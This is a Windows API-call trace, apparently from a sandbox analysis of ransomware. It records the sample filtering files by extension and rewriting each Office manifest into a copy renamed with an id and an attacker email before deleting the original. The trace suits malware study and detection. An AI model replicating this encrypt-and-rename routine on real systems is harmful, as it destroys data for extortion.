	[0068.596] lstrlenW (lpString=".jpg") returned 4
	[0068.596] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.596] lstrlenW (lpString=".doc") returned 4
	[0068.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString=".docx") returned 5
	[0068.596] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.596] lstrlenW (lpString=".pdf") returned 4
	[0068.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString=".xls") returned 4
	[0068.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString=".xlsx") returned 5
	[0068.596] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.596] lstrlenW (lpString=".ppt") returned 4
	[0068.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.596] lstrlenW (lpString=".zip") returned 4
	[0068.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.596] lstrlenW (lpString=".rar") returned 4
	[0068.596] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString=".bz2") returned 4
	[0068.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString=".7z") returned 3
	[0068.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.596] lstrlenW (lpString=".dbf") returned 4
	[0068.596] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.597] lstrlenW (lpString=".1cd") returned 4
	[0068.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.597] lstrlenW (lpString=".jpg") returned 4
	[0068.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.597] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.597] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53
	[0068.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.597] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3754) returned 1
	[0068.597] CloseHandle (hObject=0x338) returned 1
	[0068.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0068.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.598] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.598] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.598] GetLastError () returned 0x0
	[0068.598] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xeaa, lpOverlapped=0x0) returned 1
	[0068.609] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0068.610] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.610] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.610] SetEndOfFile (hFile=0x364) returned 1
	[0068.610] CloseHandle (hObject=0x364) returned 1
	[0068.611] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.611] SetEndOfFile (hFile=0x338) returned 1
	[0068.612] CloseHandle (hObject=0x338) returned 1
	[0068.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.613] lstrlenW (lpString=".doc") returned 4
	[0068.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.613] lstrlenW (lpString=".docx") returned 5
	[0068.613] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.613] lstrlenW (lpString=".pdf") returned 4
	[0068.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.613] lstrlenW (lpString=".xls") returned 4
	[0068.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.613] lstrlenW (lpString=".xlsx") returned 5
	[0068.613] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.613] lstrlenW (lpString=".ppt") returned 4
	[0068.614] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.614] lstrlenW (lpString=".zip") returned 4
	[0068.614] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.614] lstrlenW (lpString=".rar") returned 4
	[0068.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString=".bz2") returned 4
	[0068.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString=".7z") returned 3
	[0068.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.614] lstrlenW (lpString=".dbf") returned 4
	[0068.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.614] lstrlenW (lpString=".1cd") returned 4
	[0068.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.614] lstrlenW (lpString=".jpg") returned 4
	[0068.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.614] lstrlenW (lpString=".doc") returned 4
	[0068.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString=".docx") returned 5
	[0068.614] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.614] lstrlenW (lpString=".pdf") returned 4
	[0068.614] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString=".xls") returned 4
	[0068.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.614] lstrlenW (lpString=".xlsx") returned 5
	[0068.614] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.614] lstrlenW (lpString=".ppt") returned 4
	[0068.615] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.615] lstrlenW (lpString=".zip") returned 4
	[0068.615] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.615] lstrlenW (lpString=".rar") returned 4
	[0068.615] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.615] lstrlenW (lpString=".bz2") returned 4
	[0068.615] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.615] lstrlenW (lpString=".7z") returned 3
	[0068.615] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.615] lstrlenW (lpString=".dbf") returned 4
	[0068.615] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.615] lstrlenW (lpString=".1cd") returned 4
	[0068.615] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0068.615] lstrlenW (lpString=".jpg") returned 4
	[0068.615] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.615] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.615] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53
	[0068.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.616] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0068.616] CloseHandle (hObject=0x338) returned 1
	[0068.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.616] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.616] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.616] GetLastError () returned 0x0
	[0068.616] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.624] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.625] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.625] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.625] SetEndOfFile (hFile=0x364) returned 1
	[0068.625] CloseHandle (hObject=0x364) returned 1
	[0068.626] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.626] SetEndOfFile (hFile=0x338) returned 1
	[0068.627] CloseHandle (hObject=0x338) returned 1
	[0068.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.628] lstrlenW (lpString=".doc") returned 4
	[0068.628] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString=".docx") returned 5
	[0068.628] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.628] lstrlenW (lpString=".pdf") returned 4
	[0068.628] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString=".xls") returned 4
	[0068.628] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString=".xlsx") returned 5
	[0068.628] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.628] lstrlenW (lpString=".ppt") returned 4
	[0068.628] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.628] lstrlenW (lpString=".zip") returned 4
	[0068.628] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.628] lstrlenW (lpString=".rar") returned 4
	[0068.628] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString=".bz2") returned 4
	[0068.628] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString=".7z") returned 3
	[0068.628] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.628] lstrlenW (lpString=".dbf") returned 4
	[0068.628] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.628] lstrlenW (lpString=".1cd") returned 4
	[0068.629] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.629] lstrlenW (lpString=".jpg") returned 4
	[0068.629] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.629] lstrlenW (lpString=".doc") returned 4
	[0068.629] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString=".docx") returned 5
	[0068.629] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.629] lstrlenW (lpString=".pdf") returned 4
	[0068.629] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString=".xls") returned 4
	[0068.629] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString=".xlsx") returned 5
	[0068.629] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.629] lstrlenW (lpString=".ppt") returned 4
	[0068.629] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.629] lstrlenW (lpString=".zip") returned 4
	[0068.629] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.629] lstrlenW (lpString=".rar") returned 4
	[0068.629] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString=".bz2") returned 4
	[0068.629] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString=".7z") returned 3
	[0068.629] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.629] lstrlenW (lpString=".dbf") returned 4
	[0068.629] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.629] lstrlenW (lpString=".1cd") returned 4
	[0068.630] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0068.630] lstrlenW (lpString=".jpg") returned 4
	[0068.630] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.630] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.630] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53
	[0068.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.630] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0068.630] CloseHandle (hObject=0x338) returned 1
	[0068.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.630] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.631] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.631] GetLastError () returned 0x0
	[0068.631] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.640] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.641] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.641] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.641] SetEndOfFile (hFile=0x364) returned 1
	[0068.641] CloseHandle (hObject=0x364) returned 1
	[0068.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.642] SetEndOfFile (hFile=0x338) returned 1
	[0068.643] CloseHandle (hObject=0x338) returned 1
	[0068.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.644] lstrlenW (lpString=".doc") returned 4
	[0068.644] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.644] lstrlenW (lpString=".docx") returned 5
	[0068.644] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.644] lstrlenW (lpString=".pdf") returned 4
	[0068.644] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.644] lstrlenW (lpString=".xls") returned 4
